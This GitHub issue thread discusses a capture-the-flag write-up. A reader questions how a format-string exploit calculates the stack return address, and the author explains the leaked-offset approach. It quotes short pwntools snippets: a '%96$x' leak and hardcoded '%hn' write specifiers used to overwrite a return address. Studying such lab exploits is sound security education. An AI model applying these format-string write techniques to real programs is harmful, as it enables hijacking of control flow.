Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Possibly incorrect return address calculation #2

Open
dipanjan opened this issue Aug 9, 2017 · 3 comments
Open

Possibly incorrect return address calculation #2

dipanjan opened this issue Aug 9, 2017 · 3 comments

Comments

@dipanjan
Copy link

dipanjan commented Aug 9, 2017

In this writeup,

def get_retn_addr():
    p = getp()
    payload = ''
    payload += 'AAAA%96$x'
    cipher = encode(megan35, payload)
    p.sendline(cipher)
    ret = p.recvall()
    ret = ret.replace('AAAA','')
    return u32(ret.decode('hex')[::-1])+0xc

Did you want to calculate the stack address holding the return address from main method? If so, it seems not to be stored as the 96-th argument of the printf call.

@aagallag
Copy link
Member

aagallag commented Aug 9, 2017

Hi,

Thanks for taking the time to read my writeup. This actually isn't the return from main, but rather, the return from the function at 0x0804866B. And the 96th argument actually isn't the return address, it's just an arbitrary stack address that I used to calculate the offset from the desired return address (which is why I decode it as an integer and add 0xc to it). I'm not actually sure what the 96th argument is pointing to, I just looked for an address close to where the return address was stored.

Did I understand your question correctly?

If you are attempting to reproduce this exploit locally, ensure you are using the same version of libc as provided with the challenge, ASLR is disabled on your machine, and these values will need to be updated as I hardcoded them:

if not REMOTE:
    fmt += '%28667x%71$hn'
    fmt += '%6453x%72$hn'
    fmt += '%28325x%73$hn'
    fmt += '%18x%74$hn'

@dipanjan
Copy link
Author

dipanjan commented Aug 9, 2017

Hi,

Yes, you understood me correctly. If you are overwriting the return address of function 0x0804866B (decode), I don't see how's the exploit is even triggered. printf executes after the control already returns from decode. How will overwriting the return address of function 0x0804866B even impact the flow afterwards?

@aagallag
Copy link
Member

aagallag commented Aug 9, 2017

Oh my mistake, yes, that actually is the address pointing to the return from main (or as I mentioned earlier, an address offset by 0xc).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants